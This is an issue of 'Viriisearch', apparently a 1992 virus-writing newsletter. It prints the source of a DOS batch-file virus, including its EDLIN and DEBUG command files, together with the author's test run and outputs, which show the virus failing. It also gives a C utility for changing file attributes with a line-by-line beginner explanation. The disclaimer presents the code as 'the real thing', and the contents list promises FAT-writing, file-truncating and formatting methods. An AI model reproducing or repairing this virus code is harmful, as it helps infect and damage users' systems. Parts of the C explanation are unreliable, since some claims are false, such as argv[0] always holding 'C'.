1791 lines
59 KiB
Plaintext
1791 lines
59 KiB
Plaintext
DISCLAIMER:
|
|
The author will NOT accept responsibility for any damage to your
|
|
computer media and/or files, or responsibility for any action you might
|
|
take that will result in legal proceedings, the source code, if any, in
|
|
this newsletter is THE REAL THING, and you, after you read this, will be
|
|
well aware of what virii are capable of, and knowing that, it is expected
|
|
that you will act responsibly.
|
|
|
|
DISCLAIMER II:
|
|
All I know about programming I have learned on my own, and did not go to
|
|
school for, and am still learning. As a result, I am sometimes prone to
|
|
make mistakes, and be wrong about things, so please be patient if I should
|
|
make a mistake, or say something that isn't true, which would be totally
|
|
unintentional.
|
|
|
|
|
|
Viriisearch
|
|
-----------
|
|
|
|
The Virus Research Newsletter
|
|
|
|
Volume 1, Number 2
|
|
|
|
7/2/92
|
|
|
|
CREDITS:
|
|
-----------------------------------------------------------------------------
|
|
Author...................................................Criminal Minded <tm>
|
|
Editor...................................................Criminal Minded <tm>
|
|
Ideas, Source, Examples Supplied By......................Criminal Minded <tm>
|
|
Facts Stolen From Several Sources By.....................Criminal Minded <tm>
|
|
-----------------------------------------------------------------------------
|
|
|
|
Introduction:
|
|
|
|
Welcome To The Second Issue Of Viriisearch, The Virus Research Newsletter.
|
|
|
|
In this issue:
|
|
|
|
Batch File Virii: How Effective Are They?
|
|
|
|
Methods Used To Do The Following:
|
|
|
|
1. Removing/Altering Attributes On Files
|
|
2. Writing To The File Allocation Table
|
|
3. Truncating Files To 0 Bytes (They cannot be recovered with this method,
|
|
but it is rather slow)
|
|
4. Saving/Restoring File Dates/Times
|
|
5. Formatting
|
|
|
|
Fun With COMMAND.COM
|
|
Sample Source Code Of Virii
|
|
"Suicidal Tendencies" Department/Virus Of The Month
|
|
Final Notes
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Batch File Virii: How Effective Are They?
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
This Is A Batch File Virus:
|
|
|
|
-----------------------------------------------------------------------------
|
|
echo = off
|
|
ctty nul
|
|
path c:\msdos
|
|
dir *.com/w>ind
|
|
|
|
edlin ind<1
|
|
debug ind<2
|
|
edlin name.bat<3
|
|
ctty con
|
|
name
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
This is what each line in the batch file does:
|
|
|
|
Line: What It Does:
|
|
-----------------------------------------------------------------------------
|
|
echo = off Turns Echo Off
|
|
ctty nul Turns Console Output Off
|
|
path c:\msdos Sets up the path in the environment as C:\MSDOS
|
|
dir *.com/w>ind Redirects the output of the command "DIR *.COM/W to a
|
|
File Called "IND"
|
|
|
|
edlin ind>1 Edits "IND" File Using The Edlin Commands In "1"
|
|
edlin ind>2 Edits "IND" File Using The Edlin Commands In "2"
|
|
edlin name.bat>3 Edits "NAME.BAT" Using The Edlin Commands In "3"
|
|
ctty con Restores Output To The Console
|
|
name Runs NAME.BAT
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Contents Of The File "1"
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
1,4d ( Here line 1-4 of the "IND" file are deleted )
|
|
e ( Save file )
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Contents Of The File "2"
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
m100,10b,f000 (First program name is moved to the F000H address to save)
|
|
|
|
e108 ".BAT" (Extention of file name is changed to .BAT)
|
|
m100,10b,f010 (File is saved again)
|
|
e100"DEL " (DEL command is written to address 100H)
|
|
mf000,f00b,104 (Original file is written after this command)
|
|
e10c 2e (Period is placed in from of extension)
|
|
e110 0d,0a (Carrige return+ line feed)
|
|
mf010,f020,11f ( Modified file is moved to 11FH address from buffer area)
|
|
e112 "COPY \VR.BAT" ( COPY command is now placed in front of file)
|
|
e12b od,0a (COPY command terminated with carriage return + lf)
|
|
rxc ( The CX register is ... )
|
|
2c ( set to 2CH)
|
|
nname.bat ( Name it NAME.BAT)
|
|
w ( Write )
|
|
q ( quit )
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Contents Of The File "3"
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
0100 31 2C 31 3F 52 20 1A 0D-6E 79 79 79 79 79 79 79
|
|
1 , 1 ? . . n y y y y y y y
|
|
0110 79 29 0D 32 2C 32 3F 52-20 1A OD 6E 6E 79 79 79
|
|
y . 2 , ? ? r . . n n y y y
|
|
0120 79 79 79 79 29 0D 45 0D-00 00 00 00 00 00 00 00
|
|
y y y y . E . . . . . . . . .
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Ok, according to the author, this batch file makes use of EDLIN and DEBUG
|
|
and only affects .COM files.
|
|
|
|
I ran it twice, first on one of my DOS bootable disks. This is the directory
|
|
listing of that disk before I ran this supposed "batch file virus"
|
|
|
|
Volume in drive A has no label
|
|
Volume Serial Number is 004A-1EC0
|
|
Directory of A:\
|
|
|
|
COMMAND COM 47845 04-09-91 5:00a
|
|
ANSI SYS 9029 04-09-91 5:00a
|
|
RAMDRIVE SYS 5873 04-09-91 5:00a
|
|
CONFIG SYS 39 01-01-80 12:04a
|
|
SYS COM 13440 04-09-91 5:00a
|
|
NDOS COM 2419 08-14-84 12:00p
|
|
UNDELETE EXE 13924 04-09-91 5:00a
|
|
MEM EXE 39818 04-09-91 5:00a
|
|
SFORMAT EXE 64921 08-05-91 6:01a
|
|
DEBUG EXE 21692 06-07-90 2:24a
|
|
EDLIN EXE 14121 06-07-90 2:24a
|
|
ATTRB EXE 6232 01-01-80 12:21a
|
|
AUTOEXEC BAT 69 01-01-80 12:02a
|
|
NORTON INI 530 01-01-80 12:01a
|
|
VR BAT 112 01-01-80 7:00p
|
|
1 10 01-01-80 7:01p
|
|
2 171 01-01-80 7:04p
|
|
3 269 01-01-80 7:08p
|
|
18 file(s) 240514 bytes
|
|
353280 bytes free
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Ok, I ran VR.BAT and it accessed the disk for about 30 seconds and then the
|
|
computer froze up. So I rebooted and looked at the disk. There was no file
|
|
damage, but there were four new files on the disk:
|
|
|
|
IND 120 bytes
|
|
IND.BAK 209 bytes
|
|
NAME.BAT 120 bytes
|
|
NAME.$$$ 0 bytes
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
This is the contents of "IND"
|
|
|
|
|
|
COMMAND.COM SYS.COM NDOS.COM
|
|
3 file(s) 63704 bytes
|
|
286720 bytes free
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
This Is The Contents Of "IND.BAK"
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Volume in drive A has no label
|
|
Volume Serial Number is 004A-1EC0
|
|
Directory of A:\
|
|
|
|
COMMAND.COM SYS.COM NDOS.COM
|
|
3 file(s) 63704 bytes
|
|
286720 bytes free
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
And This Is The Contents Of "NAME.BAT"
|
|
|
|
-----------------------------------------------------------------------------
|
|
del MMAN.bat. S
|
|
copy \vr.batO
|
|
COMMAN.bat
|
|
3 file(s) 63704 bytes
|
|
286720 bytes free
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
I Then Proceeded To Run NAME.BAT and all that did was give me a "File Not
|
|
Found" And A Few "Bad Command Or Filename"'s
|
|
|
|
I Am Not Too Sure Of What This Individual Was Attempting To Do, But I Would
|
|
Not Be Too Worried About Him Being Capable Of Doing Anything Malicious To
|
|
Your System As His Batch File Virus Is A Piece Of Shit.
|
|
|
|
Also, I Created A Directory Called MSDOS On The Disk, Copied COMMAND.COM,
|
|
SYS.COM, And NDOS.COM To That Directory And Ran VR.BAT again. It Did The Same
|
|
Thing As Before, And Did Not Do Any Damage To The Files In The Root Directory
|
|
Or A:\MSDOS
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Methods Used To Do The Following:
|
|
|
|
1. Removing/Altering Attributes On Files
|
|
2. Writing To The File Allocation Table
|
|
3. Truncating Files To 0 Bytes
|
|
4. Saving/Restoring File Dates/Times
|
|
5. Formatting
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Removing/Altering Attributes On Files:
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Here Is A Simple C Language Source To Change The Attributes To Normal On A
|
|
File Called "TEST.DAT"
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#include <dos.h>
|
|
|
|
int main (void);
|
|
|
|
main()
|
|
{
|
|
_dos_setfileattr("TEST.DAT", _A_NORMAL);
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
I Think It's Pretty Much Self-Explanatory. <dos.h> Is Just The Header File
|
|
That Has The Prototype For "_dos_setfileattr" In It And The Definition For
|
|
The Manifest Constant "_A_NORMAL"
|
|
|
|
int main (void);
|
|
|
|
Is The Function Prototype For "main()" Declaring It To Return Type "int" And
|
|
Is Passed No Parameters (void). This Is Keeping Up With The ANSI Standard.
|
|
|
|
Then _dos_setfileattr("TEST.DAT",_A_NORMAL);
|
|
|
|
which does the actual attribute change.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Now, A Complete Utility To Change Attributes That I Wrote On 09/16/91. This
|
|
Is The Third Revision Of It, Version 3.0. I Am Proud Of This Particular
|
|
Version, As The Source Code Is 92 Lines, and 3238 Bytes. The Executable Is
|
|
9165 Bytes, Which Is Relatively Small. That Just Shows That This Is A Well
|
|
Written Utility, Especially Compared To Version 1.0, Which Was 1/3 Of The
|
|
Lines, And The Executable Was Around 20K.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#include <stdio.h>
|
|
#include <dos.h>
|
|
int count1=0,loop=0;
|
|
|
|
main(argc,argv)
|
|
int argc;
|
|
char *argv[];
|
|
{
|
|
if (argc != 2) {
|
|
printf("Usage: C>ATTRB <filespec>\n\n");
|
|
printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
|
|
printf("09/16/91.\n");
|
|
exit(1);
|
|
}
|
|
else {
|
|
struct find_t all_file;
|
|
while (loop!=4) {
|
|
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
|
|
printf("\nFile(s) do not exist.\n");
|
|
exit(1);
|
|
}
|
|
else {
|
|
printf("1. Normal\n");
|
|
printf("2. Read Only\n");
|
|
printf("3. Hidden\n");
|
|
printf("4. System\n");
|
|
printf("5. Hidden/System/Read Only\n\n");
|
|
printf("Enter Your Choice: ");
|
|
switch(getch()) {
|
|
case '1': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_NORMAL);
|
|
printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
|
|
count1++;
|
|
while (_dos_findnext(&all_file) == 0) {
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_NORMAL);
|
|
printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
|
|
}
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
case '2': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_RDONLY);
|
|
printf("\n\nFile: %s successfully changed to: READ ONLY.\n", all_file.name);
|
|
count1++;
|
|
while (_dos_findnext(&all_file) == 0) {
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_RDONLY);
|
|
printf("File: %s successfully changed to: READ ONLY.\n", all_file.name);
|
|
}
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
case '3': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_HIDDEN);
|
|
count1++;
|
|
printf("\n\nFile: %s successfully changed to: HIDDEN.\n", all_file.name);
|
|
while (_dos_findnext(&all_file) == 0) {
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_HIDDEN);
|
|
printf("File: %s successfully changed to: HIDDEN.\n", all_file.name);
|
|
}
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
case '4': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_SYSTEM);
|
|
count1++;
|
|
printf("\n\nFile: %s successfully changed to: SYSTEM.\n", all_file.name);
|
|
while (_dos_findnext(&all_file) == 0) {
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_SYSTEM);
|
|
printf("File: %s successfully changed to: SYSTEM.\n", all_file.name);
|
|
}
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
case '5': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
|
|
count1++;
|
|
printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
|
|
while (_dos_findnext(&all_file) == 0) {
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
|
|
printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
|
|
}
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
default: loop=5;
|
|
printf("\n\nThat was not a valid menu selection.\n\n");
|
|
printf("Please try again:\n\n");
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
"Dissection" Of The Source Code To Attrb v3.0
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
int count1=0,loop=0;
|
|
|
|
This Is Just Global Declaration And Inititialization Of Two Integers, Called
|
|
"count1" and "loop"
|
|
|
|
You Should Always Initialize Your Integers To Zero, Because "C" Can Sometimes
|
|
Assign The Value To The Integer That Is In The Area Of Memory The Compiler
|
|
Sets Aside For The Integer, Which Could Result In Your Program Not Working
|
|
The Way You Wanted It To.
|
|
|
|
"count1" keeps track of the number of files whose attributes were changed
|
|
through the use of the "increment operator" ( ++ ) which adds the value of 1
|
|
to the integer everytime it changes the attribute on a file.
|
|
|
|
count1++; /* adds the value of 1 to "count1" */
|
|
|
|
When there are no more files left to change, it prints the total number of
|
|
files whose attributes were altered with this line:
|
|
|
|
printf("\n%d Files.\n", count1);
|
|
|
|
%d is a format specifier, telling the printf function we are printing a int.
|
|
The value to print comes from "count1" at the end, printf looks in there and
|
|
obtains the value, then prints it.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
main(argc,argv)
|
|
int argc;
|
|
char *argv[];
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
This is how command line parameters are incorporated into programs. argc, a
|
|
integer, keeps track of the number of actual parameters passed. char *argv[]
|
|
is the actual parameter. ATTRB v3.0 takes one command line parameter, a file
|
|
specification.
|
|
|
|
C>ATTRB30 TEST.DAT
|
|
|
|
With this, argc would = 2, and argv would be as follows:
|
|
|
|
argv[0] = "C"
|
|
argv[1] = "TEST.DAT"
|
|
|
|
argv[0] always has "C" in it.
|
|
|
|
|
|
Now, how do you make sure the person using the utility entered the command
|
|
line parameter? Like this:
|
|
|
|
if (argc != 2) {
|
|
printf("Usage: C>ATTRB <filespec>\n\n");
|
|
printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
|
|
printf("09/16/91.\n");
|
|
exit(1);
|
|
}
|
|
|
|
argc should equal 2, so the line: if (argc!=2)
|
|
|
|
is saying: if argc doesn't equal 2 (! means NOT and = means equal)
|
|
|
|
If argc doesn't equal 2, that means no command line parameter was passed to
|
|
the program, so it carries out the four lines in between the { and the }
|
|
see below:
|
|
|
|
printf("Usage: C>ATTRB <filespec>\n\n");
|
|
printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
|
|
printf("09/16/91.\n");
|
|
exit(1);
|
|
|
|
it tells you the "usage" of the program:
|
|
|
|
Usage: C>ATTRB <filespec>
|
|
|
|
telling you it needs one command line parameter, a filespec
|
|
|
|
then it prints the name of the program, author, and date, and exits with a
|
|
error code of 1.
|
|
|
|
If argc DOES equal 2, it goes to this part of the program:
|
|
|
|
Without Comments:
|
|
|
|
else {
|
|
struct find_t all_file;
|
|
while (loop!=4) {
|
|
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
|
|
printf("\nFile(s) do not exist.\n");
|
|
exit(1);
|
|
}
|
|
|
|
With Comments:
|
|
|
|
else { /* else do this if the parameter is supplied */
|
|
|
|
struct find_t all_file; /* this tells the program we are going to use the */
|
|
/* structure defined in DOS.H called "find_t" */
|
|
/* see below for a description of "find_t" */
|
|
|
|
while (loop!=4) { /* will keep going until loop doesn't equal 4 */
|
|
|
|
/* this next line searches for the filename you specified, using the */
|
|
/* "bitwise OR" operator, | to OR the attribute manifest constants */
|
|
/* together, so it will find any file matching the one you specified */
|
|
/* regardless of the attribute it has. If _dos_findfirst NOT equals */
|
|
/* 0, that means the file you specified doesn't exist, so it tells */
|
|
/* you and exits with a error code of 1 */
|
|
/* Also in this line is where we pass argv[1] over to the "all_file" */
|
|
/* structure, which is the same as the "find_t" structure. We just */
|
|
/* basically changed the name with the line: struct find_t all_file */
|
|
|
|
|
|
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file) !=0)) {
|
|
printf("\nFile(s) do not exist.\n");
|
|
exit(1);
|
|
}
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
OK, let me interrupt here for a brief discussion of the "find_t" structure
|
|
declared and defined in "DOS.H"
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
The "find_t" structure:
|
|
|
|
|
|
struct find_t {
|
|
char reserved[21];
|
|
char attrib;
|
|
unsigned wr_time;
|
|
unsigned wr_date;
|
|
long size;
|
|
char name[13];
|
|
};
|
|
|
|
|
|
Ok, a structure is just a simple way of organizing data and you won't have to
|
|
declare the data types every time, you could just use the structure.
|
|
|
|
The members of this structure are:
|
|
|
|
char reserved[21]; /* character array, can hold 21 chars. Reserved by DOS */
|
|
char attrib; /* holds the attribute */
|
|
unsigned wr_time; /* holds the time of the file */
|
|
unsigned wr_date; /* holds the date of the file */
|
|
long size; /* holds the file size */
|
|
char name[13]; /* holds the filename */
|
|
|
|
at the end of the structure is: };
|
|
|
|
this signifies the end of it the structure, but because there is no name
|
|
there, we can rename the structure to anything we line, like we did with the
|
|
line:
|
|
|
|
struct find_t all_file
|
|
|
|
now had the structure had a name there, such as:
|
|
|
|
struct find_t {
|
|
char reserved[21];
|
|
char attrib;
|
|
unsigned wr_time;
|
|
unsigned wr_date;
|
|
long size;
|
|
char name[13];
|
|
} fileinfo;
|
|
|
|
we couldn't rename the structure. The members of the structure would be
|
|
referred to as:
|
|
|
|
fileinfo.attrib
|
|
fileinfo.wr_time
|
|
fileinfo.wr_date
|
|
fileinfo.size
|
|
fileinfo.name
|
|
|
|
but since we renamed the structure to "all_file"
|
|
|
|
the members are called:
|
|
|
|
all_file.attrib
|
|
all_file.wr_time
|
|
|
|
etc and so on...
|
|
|
|
Get it? Good. Now back to ATTRB v3.0
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
We left off here:
|
|
|
|
else {
|
|
struct find_t all_file;
|
|
while (loop!=4) {
|
|
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
|
|
printf("\nFile(s) do not exist.\n");
|
|
exit(1);
|
|
}
|
|
|
|
As I said, in the 4th line in the above example, argv[1] is passed over to
|
|
the "all_file" structure, so argv[1] from now on will be referred to as:
|
|
|
|
all_file.name
|
|
|
|
If the above part of the program does find a matching file, it will go onto
|
|
this part of the program:
|
|
|
|
Once again, note the "if else"
|
|
|
|
In English:
|
|
|
|
if findfile function doesn't find a matching file, print message and exit.
|
|
else do this:
|
|
|
|
else {
|
|
printf("1. Normal\n");
|
|
printf("2. Read Only\n");
|
|
printf("3. Hidden\n");
|
|
printf("4. System\n");
|
|
printf("5. Hidden/System/Read Only\n\n");
|
|
printf("Enter Your Choice: ");
|
|
|
|
easy eh?
|
|
|
|
you will notice the { and the } throughout the program, those are VERY, VERY
|
|
important in how your program works. I will cover those after I am done with
|
|
explaining how the program works.
|
|
|
|
Anyway, the above part of the source just displays the simple menu, showing
|
|
your choices. If you select 1, it will change the attributes of the matching
|
|
files to the normal attribute, 2 will make them read only, etc....
|
|
|
|
This is how it gets the input from the user:
|
|
|
|
switch(getch()) {
|
|
|
|
getch() is a function which means "get character"
|
|
|
|
the "switch" allows the use of "case statements"
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
case '1': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_NORMAL);
|
|
printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
|
|
count1++;
|
|
while (_dos_findnext(&all_file) == 0) {
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_NORMAL);
|
|
printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
|
|
}
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
11 lines:
|
|
|
|
Line 1. Will carry out all the functions after case '1': IF the 1 key is
|
|
pressed. Also on the first line: loop=4;
|
|
This gives the value of 4 to the integer "loop"
|
|
|
|
Earlier in the code, there was: while (loop!=4)
|
|
Which will keep going until the integer holds a value other than 4
|
|
Since we assign 4 to it at every case statement, it keeps going.
|
|
The purpose of this is if you hit a wrong key, such as 8, which
|
|
isn't available on the menu, it will go to default, where it assigns
|
|
5 to loop causing it to display this message:
|
|
|
|
That was not a valid menu selection.
|
|
|
|
Please try again:
|
|
|
|
and then "break" out of the loop and go back to the menu, and
|
|
re-display it.
|
|
|
|
This is how it does it:
|
|
|
|
default: loop=5;
|
|
printf("\n\nThat was not a valid menu selection.\n\n");
|
|
printf("Please try again:\n\n");
|
|
break;
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Now back to "case '1'"
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
case '1': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_NORMAL);
|
|
printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
|
|
count1++;
|
|
while (_dos_findnext(&all_file) == 0) {
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_NORMAL);
|
|
printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
|
|
}
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Ok, this picks up where
|
|
|
|
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) {
|
|
|
|
left off.
|
|
|
|
_dos_findfirst finds the FIRST matching file and then displays the menu. If
|
|
you select one, it will go to the case '1': statement and change the attribute
|
|
of all_file.name to NORMAL using this line:
|
|
|
|
_dos_setfileattr(all_file.name, _A_NORMAL);
|
|
|
|
Then it prints a line telling you the result. %s is another format specifier
|
|
used by printf, like %d mentioned earlier, but %s is to print a string, and
|
|
all_file.name (at the end) contains the string to be printed.
|
|
|
|
printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
|
|
|
|
Then it adds the value of 1 to count1 to keep track of the total number of
|
|
files attributes were changed on.
|
|
|
|
count1++;
|
|
|
|
Once it does all that, it goes onto this part of the code:
|
|
|
|
while (_dos_findnext(&all_file) == 0) {
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_NORMAL);
|
|
printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
|
|
}
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
|
|
This is a while loop, until _dos_findnext DOESN'T equal 0, it will keep going
|
|
because as long as it does equal 0, that means there are matching files. The
|
|
next 3 lines have already been explained. Once there are no more files, it
|
|
goes to:
|
|
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
|
|
Which prints how many files were changed, breaks out of the loop and exits
|
|
the program.
|
|
|
|
The only difference between case 1, case 2, case 3, case 4, and case 5, is
|
|
the attribute that the file is changed to.
|
|
|
|
Case 1: Normal (Can Be Deleted, Written To)
|
|
Case 2: Read Only (Cannot Be Written To Or Deleted)
|
|
Case 3: Hidden (Filename Is Not Seen When You Type DIR, But Still Can Be
|
|
Executed If A .COM, .EXE, or .BAT File, Can Still Be Read If A
|
|
Text File, Etc But Cannot Be Deleted, DOS Replies: File Not Found)
|
|
Case 4: System (Like The File Doesn't Exist. Cannot Be Deleted, Executed Or
|
|
Read)
|
|
Case 5: Hidden/System/Read Only (Combination Of 3, 4 and 5)
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
A VERY important part of C language are the curly brackets, { and }
|
|
|
|
We will now go through the code one more time telling what each { and } is
|
|
for.
|
|
|
|
I will put a number next to each one, like so: [1] and [2] and [3] etc..
|
|
|
|
at the end of the code, I will tell what each one is for.
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
#include <stdio.h>
|
|
#include <dos.h>
|
|
int count1=0,loop=0;
|
|
|
|
main(argc,argv)
|
|
int argc;
|
|
char *argv[];
|
|
{ [1]
|
|
if (argc != 2) { [2]
|
|
printf("Usage: C>ATTRB <filespec>\n\n");
|
|
printf("File Attributes Changer v3.0 Written By Criminal Minded.\n");
|
|
printf("09/16/91.\n");
|
|
exit(1);
|
|
} [3]
|
|
else { [4]
|
|
struct find_t all_file;
|
|
while (loop!=4) { [5]
|
|
if ((_dos_findfirst(argv[1], _A_NORMAL|_A_RDONLY|_A_SYSTEM|_A_HIDDEN, &all_file)) { [6]
|
|
printf("\nFile(s) do not exist.\n");
|
|
exit(1);
|
|
} [7]
|
|
else { [8]
|
|
printf("1. Normal\n");
|
|
printf("2. Read Only\n");
|
|
printf("3. Hidden\n");
|
|
printf("4. System\n");
|
|
printf("5. Hidden/System/Read Only\n\n");
|
|
printf("Enter Your Choice: ");
|
|
switch(getch()) { [9]
|
|
case '1': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_NORMAL);
|
|
printf("\n\nFile: %s successfully changed to: NORMAL.\n", all_file.name);
|
|
count1++;
|
|
while (_dos_findnext(&all_file) == 0) { [10]
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_NORMAL);
|
|
printf("File: %s successfully changed to: NORMAL.\n", all_file.name);
|
|
} [11]
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
case '2': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_RDONLY);
|
|
printf("\n\nFile: %s successfully changed to: READ ONLY.\n", all_file.name);
|
|
count1++;
|
|
while (_dos_findnext(&all_file) == 0) { [12]
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_RDONLY);
|
|
printf("File: %s successfully changed to: READ ONLY.\n", all_file.name);
|
|
} [13]
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
case '3': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_HIDDEN);
|
|
count1++;
|
|
printf("\n\nFile: %s successfully changed to: HIDDEN.\n", all_file.name);
|
|
while (_dos_findnext(&all_file) == 0) { [14]
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_HIDDEN);
|
|
printf("File: %s successfully changed to: HIDDEN.\n", all_file.name);
|
|
} [15]
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
case '4': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_SYSTEM);
|
|
count1++;
|
|
printf("\n\nFile: %s successfully changed to: SYSTEM.\n", all_file.name);
|
|
while (_dos_findnext(&all_file) == 0) { [16]
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_SYSTEM);
|
|
printf("File: %s successfully changed to: SYSTEM.\n", all_file.name);
|
|
} [17]
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
case '5': loop=4;
|
|
_dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
|
|
count1++;
|
|
printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
|
|
while (_dos_findnext(&all_file) == 0) { [18]
|
|
count1++;
|
|
_dos_setfileattr(all_file.name, _A_HIDDEN|_A_SYSTEM|_A_RDONLY);
|
|
printf("\nFile: %s successfully changed to: HIDDEN/SYSTEM/READ ONLY.\n", all_file.name);
|
|
} [19]
|
|
printf("\n%d Files.\n", count1);
|
|
break;
|
|
default: loop=5;
|
|
printf("\n\nThat was not a valid menu selection.\n\n");
|
|
printf("Please try again:\n\n");
|
|
break;
|
|
} [20]
|
|
} [21]
|
|
} [22]
|
|
} [23]
|
|
} [24]
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
For every { there has to be a }
|
|
|
|
Groups of code, such as particular functions, while loops, switch statements,
|
|
and the main body of the program are enclosed in between { and }
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
Pairs: What The Are For:
|
|
-----------------------------------------------------------------------------
|
|
[1] [24] Enclose The Main Body Of The Program
|
|
|
|
[2] [3] Enclose The Body Of Code To Execute If argc Doesn't Equal 2
|
|
|
|
[4] [21] Enclose The Body Of Code To Execute If argc Does Equal 2
|
|
|
|
[5] [22] Enclose The Body Of Code To Execute Until loop Doesn't Equal 4
|
|
|
|
[6] [7] Enclose The Body Of Code To Execute If _dos_findfirst Doesn't
|
|
Find A Matching File
|
|
|
|
[8] [23] Enclose The Body Of Code To Execute If _dos_findfirst Does
|
|
Find A Matching File
|
|
|
|
[9] [20] For The Switch Statement Beginning And Ending
|
|
|
|
[10] [11] Enclose The Body Of Code To Execute While _dos_findnext is
|
|
Still Finding Matching Files (case '1')
|
|
|
|
[12] [13] Enclose The Body Of Code To Execute While _dos_findnext is
|
|
Still Finding Matching Files (case '2')
|
|
|
|
[14] [15] Enclose The Body Of Code To Execute While _dos_findnext is
|
|
Still Finding Matching Files (case '3')
|
|
|
|
[16] [17] Enclose The Body Of Code To Execute While _dos_findnext is
|
|
Still Finding Matching Files (case '4')
|
|
|
|
[18] [19] Enclose The Body Of Code To Execute While _dos_findnext is
|
|
Still Finding Matching Files (case '5')
|
|
|
|
-----------------------------------------------------------------------------
|
|
|
|
